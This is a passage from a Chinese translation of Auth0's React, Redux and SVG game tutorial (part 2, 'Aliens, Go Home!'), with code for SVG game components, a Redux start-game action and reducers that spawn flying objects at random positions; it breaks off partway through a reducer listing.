    "content": "> * 原文地址：[Developing Games with React, Redux, and SVG - Part 2](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-2/)\n> * 原文作者：[Auth0](https://auth0.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/developing-games-with-react-redux-and-svg-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/developing-games-with-react-redux-and-svg-part-2.md)\n> * 译者：[zephyrJS](https://github.com/zephyrJS)\n> * 校对者：[anxsec](https://github.com/anxsec)、[smileShirely](https://github.com/smileShirely)\n\n**TL;DR:** 在这个系列里，您将学会用 React 和 Redux 来控制一些 SVG 元素来创建一个游戏。通过本系列的学习，您不仅能创建游戏，还能用 React 和 Redux 来开发其他类型的动画。源码请参考 GitHub 仓库：[Aliens Go Home - Part 2](https://github.com/auth0-blog/aliens-go-home-part-2) 。\n\n* * *\n\n## React 游戏：Aliens, Go Home!\n\n在这个系列里您将要开发的游戏叫做 Aliens, Go Home! 这个游戏的想法很简单，您将拥有一座炮台，然后您必须消灭那些试图入侵地球的飞碟。为了消灭这些飞碟，您必须在 SVG 画布上通过瞄准和点击来操作炮台的射击。\n\n如果您很好奇, 您可以找到 [the final game up and running here](http://bang-bang.digituz.com.br/)。但别太沉迷其中，您还要完成它的开发！\n\n> “我用 React、Redux 和 SVG 创建了一个游戏。”\n\n## 前文概要 Part 1\n\n在 [本系列的第一部分](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/)，您使用 [`create-react-app`](https://github.com/facebookincubator/create-react-app) 来开始您的 React 应用并安装和配置了 Redux 来管理游戏的状态。之后，您学会了如何将 SVG 和 React 组合在一起来创建诸如 `Sky`、`Ground`、`CannonBase` 和 `CannonPipe` 等游戏元素。最后，为了给炮台添加瞄准功能，您使用了一个事件监听器和 [JavaScript interval](https://www.w3schools.com/jsref/met_win_setinterval.asp) 触发 Redux _action_ 来更新 `CannonPipe` 的角度。\n\n前面的这些学习是为了更好地理解如何使用 React、Redux 和 SVG 来创建游戏（或动画）而做准备。\n\n> **注意：**不管出于什么原因，如果您没有 [本系列第一部分](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/) 的源码，您可以很容易的从 [这个 GitHub 仓库](https://github.com/auth0-blog/aliens-go-home-part-1) 进行克隆。在克隆完之后，您只需要按照下面几节中的说明进行操作即可。\n\n## 创建更多的 React 组件\n\n下面的几节将向您展示如何创建其余的游戏元素。尽管它们看起来很长，但它们都非常的简单和相似。按照指示去做，您可能几分钟就搞定了。\n\n在这之后，您将看到本章最有趣的部分。它们分别是 **使飞碟随机出现** 和 **使用 CSS 动画移动飞碟**。\n\n### 创建 Cannonball 组件\n\n接下来您将创建 `CannonBall` 组件。请注意，目前它还不会动。但别担心！很快（在创建完其他组件之后），您将用炮台发射多个炮弹并杀死一些外星人。\n\n为了创建这组件，需要在 `./src/components` 创建 `CannonBall.jsx` 文件并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\n\nconst CannonBall = (props) => {\n  const ballStyle = {\n    fill: '#777',\n    stroke: '#444',\n    strokeWidth: '2px',\n  };\n  return (\n    <ellipse\n      style={ballStyle}\n      cx={props.position.x}\n      cy={props.position.y}\n      rx=\"16\"\n      ry=\"16\"\n    />\n  );\n};\n\nCannonBall.propTypes = {\n  position: PropTypes.shape({\n    x: PropTypes.number.isRequired,\n    y: PropTypes.number.isRequired\n  }).isRequired,\n};\n\nexport default CannonBall;\n```\n\n如您所见，要使炮弹出现在画布中，您必须向它传递一个包含 `x` 和 `y` 属性的对象。如果您对 `prop-types` 还不熟，这可能是您第一次使用 `PropTypes.shape`。幸运的是，这个特性不言自明。\n\n创建此组件后，您可能希望在画布上看到它。为此，在 `Canvas` 组件里的 `svg` 元素中添加如下代码（当然您还需要加上 `import CannonBall from './CannonBall';`）：\n\n```\n<CannonBall position={{x: 0, y: -100}}/>\n```\n\n请记住，如果把它放在同一位置的元素之前，您将看不到它。因此，为了安全起见，将把它放在最后（就是 `<CannonBase />` 之后）。之后，您就可以在浏览器里看到您的新组件了。\n\n> 如果您忘记了怎么操作的，您只需在项目根目录运行 `npm start` 然后在浏览器打开 [http://localhost:3000](http://localhost:3000) 。此外，**千万别**忘记在进行下一步之前把代码提交到您的仓库里。\n\n### 创建 Current Score 组件\n\n接下来您将创建另一个组件 `CurrentScore`。顾名思义，您将使用该组件向用户显示他们当前的分数。也就是说，每当他们消灭一只飞碟时，在这个组件中代表分数的值将会加一，并显示给他们。\n\n在创建此组件之前，您可能需要添加并使用一些漂亮字体。实际上，您可能希望在整个游戏中配置和使用字体，这样看起来就不会像一个单调的游戏了。您可以从任何地方浏览并选择一种字体，但如果您想不花时间在这个上面，您只需在 `./src/index.css` 文件的顶部添加如下代码即可：\n\n```JavaScript\n@import url('https://fonts.googleapis.com/css?family=Joti+One');\n\n/* other rules ... */\n```\n\n这将使您的游戏载入 [来自 Google 的 Joti One 字体](https://fonts.google.com/specimen/Joti+One)。\n\n之后，您可以在 `./src/components` 目录下创建 `CurrentScore.jsx` 文件并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\n\nconst CurrentScore = (props) => {\n  const scoreStyle = {\n    fontFamily: '\"Joti One\", cursive',\n    fontSize: 80,\n    fill: '#d6d33e',\n  };\n\n  return (\n    <g filter=\"url(#shadow)\">\n      <text style={scoreStyle} x=\"300\" y=\"80\">\n        {props.score}\n      </text>\n    </g>\n  );\n};\n\nCurrentScore.propTypes = {\n  score: PropTypes.number.isRequired,\n};\n\nexport default CurrentScore;\n```\n\n> **注意：** 如果您尚未配置 Joti One（或者配置了其他字体），您将需要修改相应的代码。如果您以后创建的其他组件也会用到该字体，请记住，您也需要更新这些组件。\n\n如您所见，`CurrentScore` 组件仅需要一个属性：`score`。由于您的游戏还没有计算分数，为了马上看到这个组件，您需要传入一个硬编码的值。因此，在 `Canvas` 组件里，往 `svg` 中末尾添加 `<CurrentScore score={15} />`。另外，还需要添加 `import` 语句来获取这个组件（`import CurrentScore from './CurrentScore';`）。\n\n如果您想现在就看到新组件，您**将无法**如愿以偿。这是因为组件使用了叫做 `shadow` 的 `filter`。尽管它不是必须的，但它将使您的游戏更加好看。另外，[给 SVG 元素添加阴影是十分简单的](https://www.w3schools.com/graphics/svg_feoffset.asp)。为此，仅需要在 `svg` 顶部添加如下代码：\n\n```JavaScript\n<defs>\n  <filter id=\"shadow\">\n    <feDropShadow dx=\"1\" dy=\"1\" stdDeviation=\"2\" />\n  </filter>\n</defs>\n```\n\n最后，您的 `Canvas` 将如下所示：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport Sky from './Sky';\nimport Ground from './Ground';\nimport CannonBase from './CannonBase';\nimport CannonPipe from './CannonPipe';\nimport CannonBall from './CannonBall';\nimport CurrentScore from './CurrentScore';\n\nconst Canvas = (props) => {\n  const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight];\n  return (\n    <svg\n      id=\"aliens-go-home-canvas\"\n      preserveAspectRatio=\"xMaxYMax none\"\n      onMouseMove={props.trackMouse}\n      viewBox={viewBox}\n    >\n      <defs>\n        <filter id=\"shadow\">\n          <feDropShadow dx=\"1\" dy=\"1\" stdDeviation=\"2\" />\n        </filter>\n      </defs>\n      <Sky />\n      <Ground />\n      <CannonPipe rotation={props.angle} />\n      <CannonBase />\n      <CannonBall position={{x: 0, y: -100}}/>\n      <CurrentScore score={15} />\n    </svg>\n  );\n};\n\nCanvas.propTypes = {\n  angle: PropTypes.number.isRequired,\n  trackMouse: PropTypes.func.isRequired,\n};\n\nexport default Canvas;\n```\n\n而您的游戏看起来将会是这样：\n\n![Showing current score and cannonball in the Alien, Go Home! app.](https://cdn.auth0.com/blog/aliens-go-home/current-score-and-cannon-ball.png)\n\n还不错，对吧？！\n\n### 创建 Flying Object 组件\n\n现在如何创建 React 组件来展示飞碟呢？飞碟既不是圆形，也不是矩形。它们通常有两个部分 (顶部和底部)，这些部分一般是圆形的。这就是为什么您将需要用 `FlyingObjectBase` 和 `FlyingObjectTop` 这个组件来创建飞碟的原因。\n\n其中一个组件将使用贝塞尔三次曲线来定义其形状。另一个则是一个椭圆。\n\n先从第一个组件 `FlyingObjectBase` 开始，在 `./src/components` 目录下创建 `FlyingObjectBase.jsx` 文件。并在该组件里添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\n\nconst FlyingObjectBase = (props) => {\n  const style = {\n    fill: '#979797',\n    stroke: '#5c5c5c',\n  };\n\n  return (\n    <ellipse\n      cx={props.position.x}\n      cy={props.position.y}\n      rx=\"40\"\n      ry=\"10\"\n      style={style}\n    />\n  );\n};\n\nFlyingObjectBase.propTypes = {\n  position: PropTypes.shape({\n    x: PropTypes.number.isRequired,\n    y: PropTypes.number.isRequired\n  }).isRequired,\n};\n\nexport default FlyingObjectBase;\n```\n\n之后，您可以定义飞碟的顶部。为此，在 `./src/components` 目录下创建 `FlyingObjectTop.jsx` 文件并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport { pathFromBezierCurve } from '../utils/formulas';\n\nconst FlyingObjectTop = (props) => {\n  const style = {\n    fill: '#b6b6b6',\n    stroke: '#7d7d7d',\n  };\n\n  const baseWith = 40;\n  const halfBase = 20;\n  const height = 25;\n\n  const cubicBezierCurve = {\n    initialAxis: {\n      x: props.position.x - halfBase,\n      y: props.position.y,\n    },\n    initialControlPoint: {\n      x: 10,\n      y: -height,\n    },\n    endingControlPoint: {\n      x: 30,\n      y: -height,\n    },\n    endingAxis: {\n      x: baseWith,\n      y: 0,\n    },\n  };\n\n  return (\n    <path\n      style={style}\n      d={pathFromBezierCurve(cubicBezierCurve)}\n    />\n  );\n};\n\nFlyingObjectTop.propTypes = {\n  position: PropTypes.shape({\n    x: PropTypes.number.isRequired,\n    y: PropTypes.number.isRequired\n  }).isRequired,\n};\n\nexport default FlyingObjectTop;\n```\n\n如果您还不知道贝塞尔三次曲线的核心工作原理，[您可以查看上一篇文章](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/) 来学习。\n\n但为了让它们在游戏中能够随机的出现，我们很容易的能够想到将这些组件作为一个个单独的元素。为此，需在另外两个文件旁边创建一个名为 `FlyingObject.jsx` 的新文件，并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport FlyingObjectBase from './FlyingObjectBase';\nimport FlyingObjectTop from './FlyingObjectTop';\n\nconst FlyingObject = props => (\n  <g>\n    <FlyingObjectBase position={props.position} />\n    <FlyingObjectTop position={props.position} />\n  </g>\n);\n\nFlyingObject.propTypes = {\n  position: PropTypes.shape({\n    x: PropTypes.number.isRequired,\n    y: PropTypes.number.isRequired\n  }).isRequired,\n};\n\nexport default FlyingObject;\n```\n\n现在，想要在游戏中添加飞碟，只需使用一个 React 组件即可。为了达到目的，在 `Canvas` 组件添加如下代码：\n\n```JavaScript\n// ... other imports\nimport FlyingObject from './FlyingObject';\n\nconst Canvas = (props) => {\n  // ...\n  return (\n    <svg ...>\n      // ...\n      <FlyingObject position={{x: -150, y: -300}}/>\n      <FlyingObject position={{x: 150, y: -300}}/>\n    </svg>\n  );\n};\n\n// ... propTypes and export\n```\n\n![Creating flying objects in your React game](https://cdn.auth0.com/blog/aliens-go-home/flying-objects.png)\n\n### 创建 Heart 组件\n\n接下来您需要创建显示玩家生命值的组件，没有什么词是比用 `Heart` 更能代表生命了。所以，在 `./src/components` 目录下创建 `Heart.jsx` 文件并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport { pathFromBezierCurve } from '../utils/formulas';\n\nconst Heart = (props) => {\n  const heartStyle = {\n    fill: '#da0d15',\n    stroke: '#a51708',\n    strokeWidth: '2px',\n  };\n\n  const leftSide = {\n    initialAxis: {\n      x: props.position.x,\n      y: props.position.y,\n    },\n    initialControlPoint: {\n      x: -20,\n      y: -20,\n    },\n    endingControlPoint: {\n      x: -40,\n      y: 10,\n    },\n    endingAxis: {\n      x: 0,\n      y: 40,\n    },\n  };\n\n  const rightSide = {\n    initialAxis: {\n      x: props.position.x,\n      y: props.position.y,\n    },\n    initialControlPoint: {\n      x: 20,\n      y: -20,\n    },\n    endingControlPoint: {\n      x: 40,\n      y: 10,\n    },\n    endingAxis: {\n      x: 0,\n      y: 40,\n    },\n  };\n\n  return (\n    <g filter=\"url(#shadow)\">\n      <path\n        style={heartStyle}\n        d={pathFromBezierCurve(leftSide)}\n      />\n      <path\n        style={heartStyle}\n        d={pathFromBezierCurve(rightSide)}\n      />\n    </g>\n  );\n};\n\nHeart.propTypes = {\n  position: PropTypes.shape({\n    x: PropTypes.number.isRequired,\n    y: PropTypes.number.isRequired\n  }).isRequired,\n};\n\nexport default Heart;\n```\n\n如您所见，要想用 SVG 创建心形，您需要两条三次 Bezier 曲线：爱心的两边各一条。您还须向该组件添加一个 `position` 属性。这是因为游戏会给玩家提供不只一条生命，所以这些爱心需要显示在不同的位置。\n\n现在，您可以先将一颗心添加到画布中，这样您就可以确认一切工作正常。为此，打开 `Canvas` 组件并添加如下代码：\n\n```JavaScript\n<Heart position={{x: -300, y: 35}} />\n```\n\n这必须是 `svg` 里最后一个元素。另外，别忘了添加 import 语句（`import Heart from './Heart';`）。\n\n### 创建 Start Game 按钮组件\n\n每个游戏都需要一个开始按钮。因此，为了创建它，在其他组件旁创建 `StartGame.jsx` 并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport { gameWidth } from '../utils/constants';\n\nconst StartGame = (props) => {\n  const button = {\n    x: gameWidth / -2, // half width\n    y: -280, // minus means up (above 0)\n    width: gameWidth,\n    height: 200,\n    rx: 10, // border radius\n    ry: 10, // border radius\n    style: {\n      fill: 'transparent',\n      cursor: 'pointer',\n    },\n    onClick: props.onClick,\n  };\n\n  const text = {\n    textAnchor: 'middle', // center\n    x: 0, // center relative to X axis\n    y: -150, // 150 up\n    style: {\n      fontFamily: '\"Joti One\", cursive',\n      fontSize: 60,\n      fill: '#e3e3e3',\n      cursor: 'pointer',\n    },\n    onClick: props.onClick,\n  };\n  return (\n    <g filter=\"url(#shadow)\">\n      <rect {...button} />\n      <text {...text}>\n        Tap To Start!\n      </text>\n    </g>\n  );\n};\n\nStartGame.propTypes = {\n  onClick: PropTypes.func.isRequired,\n};\n\nexport default StartGame;\n```\n\n由于不需要同时显示多个 `StartGame` 按钮，您需要为该组件在游戏里设置固定的位置（`x: 0` and `y: -150`）。该组件与您之前定义的其他组件之间还有另外两个不同之处：\n\n*   首先，这个组件需要一个名为 `onClick` 的函数。这个函数是用来监听按钮点击事件，并将触发一个 Redux action 来使您的应用开始一个新的游戏。\n*   其次，这个组件正在使用一个您还没有定义的常量 `gameWidth`。这个常数将表示可用的区域。除了您的应用所占据的位置之外，其他区域都将不可用。\n\n为了定义 `gameWidth` 常量，需要打开 `./src/utils/constants.js` 文件并添加如下代码：\n\n```JavaScript\nexport const gameWidth = 800;\n```\n\n之后，您可以将 `StartGame` 组件添加到 `Canvas` 中，方式是往 `svg` 元素中的末尾添加 `<StartGame onClick={() => console.log('Aliens, Go Home!')} />`。跟之前一样，别忘了添加 import 语句（`import StartGame from './StartGame';`）。\n\n![Aliens, Go Home! game with the start game button](https://cdn.auth0.com/blog/aliens-go-home/adding-start-button.png)\n\n### 创建 Title 组件\n\n`Title` 组件是本篇文章您将创建最后一个组件. 您已经为您的游戏起了名字了：**Aliens, Go Home!**。因此，创建 `Title.jsx`（在 `./src/components` 目录下)文件来作为标题并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport { pathFromBezierCurve } from '../utils/formulas';\n\nconst Title = () => {\n  const textStyle = {\n    fontFamily: '\"Joti One\", cursive',\n    fontSize: 120,\n    fill: '#cbca62',\n  };\n\n  const aliensLineCurve = {\n    initialAxis: {\n      x: -190,\n      y: -950,\n    },\n    initialControlPoint: {\n      x: 95,\n      y: -50,\n    },\n    endingControlPoint: {\n      x: 285,\n      y: -50,\n    },\n    endingAxis: {\n      x: 380,\n      y: 0,\n    },\n  };\n\n  const goHomeLineCurve = {\n    ...aliensLineCurve,\n    initialAxis: {\n      x: -250,\n      y: -780,\n    },\n    initialControlPoint: {\n      x: 125,\n      y: -90,\n    },\n    endingControlPoint: {\n      x: 375,\n      y: -90,\n    },\n    endingAxis: {\n      x: 500,\n      y: 0,\n    },\n  };\n\n  return (\n    <g filter=\"url(#shadow)\">\n      <defs>\n        <path\n          id=\"AliensPath\"\n          d={pathFromBezierCurve(aliensLineCurve)}\n        />\n        <path\n          id=\"GoHomePath\"\n          d={pathFromBezierCurve(goHomeLineCurve)}\n        />\n      </defs>\n      <text {...textStyle}>\n        <textPath xlinkHref=\"#AliensPath\">\n          Aliens,\n        </textPath>\n      </text>\n      <text {...textStyle}>\n        <textPath xlinkHref=\"#GoHomePath\">\n          Go Home!\n        </textPath>\n      </text>\n    </g>\n  );\n};\n\nexport default Title;\n```\n\n为了使标题弯曲显示，您使用了 `path` 和 `textPath` 元素与三次贝塞尔曲线的组合。此外，您还使用了固定的坐标位置，就像 `StartGame` 按钮组件那样。\n\n现在，要将该组件添加到画布中，只需将 `<title/>` 组件添加到 `svg` 元素中，并在 `Canvas.jsx` 文件的顶部添加 import 语句即可（`import Title from './Title';`）。但是，如果您现在运行您的应用程序，您将发现您的新组件没有出现在屏幕上。这是因为您的应用程序还没有足够的垂直空间用于显示。\n\n## 让您的 React Game游戏自适应\n\n为了改变游戏的尺寸并使其自适应，您将需要做以下两件事。首先，您将需要添加 `onresize` 事件监听器到全局 `window` 对象上。很简单，您仅需要打开 `./src/App.js` 文件并将如下代码添加到  `componentDidMount()` 方法中：\n\n```JavaScript\nwindow.onresize = () => {\n  const cnv = document.getElementById('aliens-go-home-canvas');\n  cnv.style.width = `${window.innerWidth}px`;\n  cnv.style.height = `${window.innerHeight}px`;\n};\nwindow.onresize();\n```\n\n这将使您应用的大小和用户看到的窗口大小保持一致，即使他们改变了窗口大小也没关系。当应用程序第一次出现时，它还将强制执行 `window.onresize` 函数。\n\n其次，您需要更改画布的 `viewBox` 属性。现在，不需要再 Y 轴上定义最高点：`100 - window.innerHeight`（如果您不记得为什么要使用这个公式，[请看一下本系列的第一部分](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/)）并且 `viewBox` 高度等于 `window` 对象上 `innerHeight` 的值，下列使您将用到的代码：\n\n```JavaScript\nconst gameHeight = 1200;\nconst viewBox = [window.innerWidth / -2, 100 - gameHeight, window.innerWidth, gameHeight];\n```\n\n在这个新版本中，您使用的值为 `1200`，这样您的应用就能正确地显示新的标题组件。此外，这个新的垂直空间将给您的用户足够的时间来看到和消灭那些外星飞碟。这将给到他们足够的时间来射击和消灭这些飞碟。\n\n![Changing your React, Redux, and SVG game dimensions and making it responsive](https://cdn.auth0.com/blog/aliens-go-home/react-game-with-title.png)\n\n## 让用户开始游戏\n\n当把这些新组件按的尺寸放在对应的位置以后，您就可以开始考虑怎么让用户开始玩游戏了。无论何时，当用户点了 Start Game 这个按钮，您就需要能游戏切换到开始状态，这将导致游戏一连串的状态变化。为了更便于用户操作，当用户点击了这个按钮的时候，您就可以开始将 `Title` 和 `StartGame` 这两个组件从当前的屏幕上移除。\n\n为此，您将需要创建一个新的 Redux action，它将传入到 Redux reducer 中来改变游戏的状态。为了创建这个新的 action，打开 `./src/actions/index.js` 并添加如下代码（保留之前的代码不变）：\n\n```JavaScript\n// ... MOVE_OBJECTS\nexport const START_GAME = 'START_GAME';\n\n// ... moveObjects\n\nexport const startGame = () => ({\n  type: START_GAME,\n});\n```\n\n接着，您可以重构 `./src/reducers/index.js` 来处理这个新 action。文件的新版本如下所示：\n\n```JavaScript\nimport { MOVE_OBJECTS, START_GAME } from '../actions';\nimport moveObjects from './moveObjects';\nimport startGame from './startGame';\n\nconst initialGameState = {\n  started: false,\n  kills: 0,\n  lives: 3,\n};\n\nconst initialState = {\n  angle: 45,\n  gameState: initialGameState,\n};\n\nfunction reducer(state = initialState, action) {\n  switch (action.type) {\n    case MOVE_OBJECTS:\n      return moveObjects(state, action);\n    case START_GAME:\n      return startGame(state, initialGameState);\n    default:\n      return state;\n  }\n}\n\nexport default reducer;\n```\n\n如您所见，现在在 `initialState` 中有一个子对象，它包含三个跟游戏有关的属性：\n\n1.  `started`: 一个表示是否开始运行游戏的标识；\n2.  `kills`: 一个保存用户消灭的飞碟数量的属性；\n3.  `lives`: 一个保存用户还有多少条命的属性；\n\n此外，您还需要在 `switch` 语句中添加一个新的 `case`。这个新的 `case` (包含 `type` `START_GAME` 的 action 传入到 reducer 时触发）调用 `startGame` 函数。这个函数的作用是将 `gameState` 里的 `started` 属性设置为 true。此外，每当用户开始一个新的游戏，这个函数将 `kills` 计数器设置为零并让用户一开始有三条命。\n\n要实现 `startGame` 函数，需要在 `./src/reducers` 目录下创建 `startGame.js` 文件并添加如下代码：\n\n```JavaScript\nexport default (state, initialGameState) => {\n  return {\n    ...state,\n    gameState: {\n      ...initialGameState,\n      started: true,\n    }\n  }\n};\n```\n\n如您所见，这个新文件中的代码非常简单。它只是返回新的 state 对象到 Redux store 中，并将  `started` 设置为 `true` 同时重置 `gameState` 中的所有其他属性。这将使用户再次获得三条命，并将 `kills` 计数器设置为零。\n\n实现这个函数之后，您必须将其传递给您的游戏。您还须将新的 `gameState` 属性传递给它。所以，为了做到这一点，您需要修改 `./src/containers/Game.js` 文件，代码如下所示：\n\n```JavaScript\nimport { connect } from 'react-redux';\nimport App from '../App';\nimport { moveObjects, startGame } from '../actions/index';\n\nconst mapStateToProps = state => ({\n  angle: state.angle,\n  gameState: state.gameState,\n});\n\nconst mapDispatchToProps = dispatch => ({\n  moveObjects: (mousePosition) => {\n    dispatch(moveObjects(mousePosition));\n  },\n  startGame: () => {\n    dispatch(startGame());\n  },\n});\n\nconst Game = connect(\n  mapStateToProps,\n  mapDispatchToProps,\n)(App);\n\nexport default Game;\n```\n\n总而言之，您在此文件中所做的更改如下：\n\n*   `mapStateToProps`: 现在，`App` 组件关注 `gameState` 属性已经告知了 Redux。\n*   `mapDispatchToProps`: 您也告知了 Redux 需要将 `startGame` 函数传递给 `App` 组件，这样它就可以触发这个新 action。\n\n这些新的 `App` 属性（`gameState` 和 `startGame`）不会被 `App` 组件直接使用。实际上，使用它们的是 `Canvas` 组件，所以您必须将它们传递给它。因此，打开 `./src/App.js` 文件并按如下方式重构：\n\n```JavaScript\n// ... import statements ...\n\nclass App extends Component {\n  // ... constructor(props) ...\n\n  // ... componentDidMount() ...\n\n  // ... trackMouse(event) ...\n\n  render() {\n    return (\n      <Canvas\n        angle={this.props.angle}\n        gameState={this.props.gameState}\n        startGame={this.props.startGame}\n        trackMouse={event => (this.trackMouse(event))}\n      />\n    );\n  }\n}\n\nApp.propTypes = {\n  angle: PropTypes.number.isRequired,\n  gameState: PropTypes.shape({\n    started: PropTypes.bool.isRequired,\n    kills: PropTypes.number.isRequired,\n    lives: PropTypes.number.isRequired,\n  }).isRequired,\n  moveObjects: PropTypes.func.isRequired,\n  startGame: PropTypes.func.isRequired,\n};\n\nexport default App;\n```\n\n然后，打开 `./src/components/Canvas.jsx` 文件并替换成如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport Sky from './Sky';\nimport Ground from './Ground';\nimport CannonBase from './CannonBase';\nimport CannonPipe from './CannonPipe';\nimport CurrentScore from './CurrentScore'\nimport FlyingObject from './FlyingObject';\nimport StartGame from './StartGame';\nimport Title from './Title';\n\nconst Canvas = (props) => {\n  const gameHeight = 1200;\n  const viewBox = [window.innerWidth / -2, 100 - gameHeight, window.innerWidth, gameHeight];\n  return (\n    <svg\n      id=\"aliens-go-home-canvas\"\n      preserveAspectRatio=\"xMaxYMax none\"\n      onMouseMove={props.trackMouse}\n      viewBox={viewBox}\n    >\n      <defs>\n        <filter id=\"shadow\">\n          <feDropShadow dx=\"1\" dy=\"1\" stdDeviation=\"2\" />\n        </filter>\n      </defs>\n      <Sky />\n      <Ground />\n      <CannonPipe rotation={props.angle} />\n      <CannonBase />\n      <CurrentScore score={15} />\n\n      { ! props.gameState.started &&\n        <g>\n          <StartGame onClick={() => props.startGame()} />\n          <Title />\n        </g>\n      }\n\n      { props.gameState.started &&\n        <g>\n          <FlyingObject position={{x: -150, y: -300}}/>\n          <FlyingObject position={{x: 150, y: -300}}/>\n        </g>\n      }\n    </svg>\n  );\n};\n\nCanvas.propTypes = {\n  angle: PropTypes.number.isRequired,\n  gameState: PropTypes.shape({\n    started: PropTypes.bool.isRequired,\n    kills: PropTypes.number.isRequired,\n    lives: PropTypes.number.isRequired,\n  }).isRequired,\n  trackMouse: PropTypes.func.isRequired,\n  startGame: PropTypes.func.isRequired,\n};\n\nexport default Canvas;\n```\n\n如您所见，在这个新版本中，只有当 `gameState.started` 设置为 false 时 `StartGame` 和 `Title` 才会可见。此外，您还隐藏了 `FlyingObject` 组件直到用户点击 **Start Game** 按钮才会出现。\n\n如果您现在运行您的应用程序（如果它还没有运行，在 terminal 里运行 `npm start`），您将看到这些新的变化。虽然用户还不能玩您的游戏，但您已经完成一个小目标了。\n\n## 让飞碟随机出现\n\n现在您已经实现了 **Start Game** 功能，您可以重构您的游戏来让飞碟随机出现。您的用户需要消灭一些飞碟，所以您还需要让它们飞起来（即往屏幕下方移动）。但首先，您必须集中精力让它们以某种方式出现。\n\n要做到这一点，第一件事是定义这些对象将出现在何处。您还必须给飞行物体设置一些间隔和最大数量。为了使事情井然有序，您可以定义常量来保存这些规则。所以，打开 `./src/utils/constants.js` 文件添加如下代码：\n\n```JavaScript\n// ... keep skyAndGroundWidth and gameWidth untouched\n\nexport const createInterval = 1000;\n\nexport const maxFlyingObjects = 4;\n\nexport const flyingObjectsStarterYAxis = -1000;\n\nexport const flyingObjectsStarterPositions = [\n  -300,\n  -150,\n  150,\n  300,\n];\n```\n\n上面的规则规定游戏将每秒（`1000` 毫秒）出现新的飞碟，同一时间不会超过四个（`maxFlyingObjects`）。它还定义了新对象在 Y 轴（`flyingObjectsStarterYAxis`）上出现的位置为 `-1000`。文件中最后一个常量（`flyingObjectsStarterPositions`）定义了四个值表示对象在 X 轴可以显示的位置。您将随机选择其中一个值来创建飞碟。\n\n要实现使用这些常量的函数，需在 `./src/reducers` 目录下创建 `createFlyingObjects.js` 文件并添加如下代码：\n\n```JavaScript\nimport {\n  createInterval, flyingObjectsStarterYAxis, maxFlyingObjects,\n  flyingObjectsStarterPositions\n} from '../utils/constants';\n\nexport default (state) => {\n  if ( ! state.gameState.started) return state; // game not running\n\n  const now = (new Date()).getTime();\n  const { lastObjectCreatedAt, flyingObjects } = state.gameState;\n  const createNewObject = (\n    now - (lastObjectCreatedAt).getTime() > createInterval &&\n    flyingObjects.length < maxFlyingObjects\n  );\n\n  if ( ! createNewObject) return state; // no need to create objects now\n\n  const id = (new Date()).getTime();\n  const predefinedPosition = Math.floor(Math.random() * maxFlyingObjects);\n  const flyingObjectPosition = flyingObjectsStarterPositions[predefinedPosition];\n  const newFlyingObject = {\n    position: {\n      x: flyingObjectPosition,\n      y: flyingObjectsStarterYAxis,\n    },\n    createdAt: (new Date()).getTime(),\n    id,\n  };\n\n  return {\n    ...state,\n    gameState: {\n      ...state.gameState,\n      flyingObjects: [\n        ...state.gameState.flyingObjects,\n        newFlyingObject\n      ],\n      lastObjectCreatedAt: new Date(),\n    }\n  }\n}\n```\n\n第一看上去，可能会觉得这段代码很复杂。然而，情况却恰恰相反。它的工作原理总结如下：\n\n1.  如果游戏没有运行（即 `! state.gameState.started`），这代码返回当前未更改的 state。\n2.  如果游戏正在运行，这个函数依据 `createInterval` 和 `maxFlyingObjects` 常量来决定是否创建新的飞行对象。这些逻辑构成了 `createNewObject` 常量。\n3.  如果 `createNewObject` 常量的值设置为 `true`，这个函数使用 `Math.floor` 获取 0 到 3 的随机数（`Math.random() * maxFlyingObjects`）来决定新的飞碟将出现在哪。\n4.  有了这些数据，这个函数将创建带有 `position` 属性 `newFlyingObject` 对象。\n5.  最后，该函数返回一个带有新飞行对象的新状态对象，并更新 `lastObjectCreatedAt` 的值。\n\n您可能已经注意到，您刚刚创建的函数是一个 reducer。因此，您可能希望创建一个 action 来触发这个  reducer，但事实上您并不需要这样做。因为您的游戏有一个每 `10` 毫秒触发一个 `MOVE_OBJECTS` 的 action，您可以利用这个 action 来触发这个新的 reducer。因此，您必须按如下方式重新实现  `moveObjects` reducer（`./src/reducers/moveObjects.js`），代码实现如下：\n\n```JavaScript\nimport { calculateAngle } from '../utils/formulas';\nimport createFlyingObjects from './createFlyingObjects';\n\nfunction moveObjects(state, action) {\n  const mousePosition = action.mousePosition || {\n    x: 0,\n    y: 0,\n  };\n\n  const newState = createFlyingObjects(state);\n\n  const { x, y } = mousePosition;\n  const angle = calculateAngle(0, 0, x, y);\n  return {\n    ...newState,\n    angle,\n  };\n}\n\nexport default moveObjects;\n```\n\n新版本的 `moveObjects` reducer 跟之前不一样的有：\n\n*   首先，如果在 `action` 对象中没有传入 `mousePosition` 常量，则强制创建它。这样做的原因是如果没有传递 `mousePosition` 则上一个版本 reducer 将停止运行。\n*   其次，它从 `createFlyingObjects` reducer 中获取 `newState` 对象，以便在需要的时候创建新的飞碟。\n*   最后，它会根据上一步检索到的 `newState` 对象返回新的对象。\n\n在重构 `App` 和 `Canvas` 组件来通过这段的代码显示新的飞碟前，您将需要更新 `./src/reducers/index.js` 文件来给 `initialState` 对象添加两个新属性：\n\n```JavaScript\n// ... import statements ...\n\nconst initialGameState = {\n  // 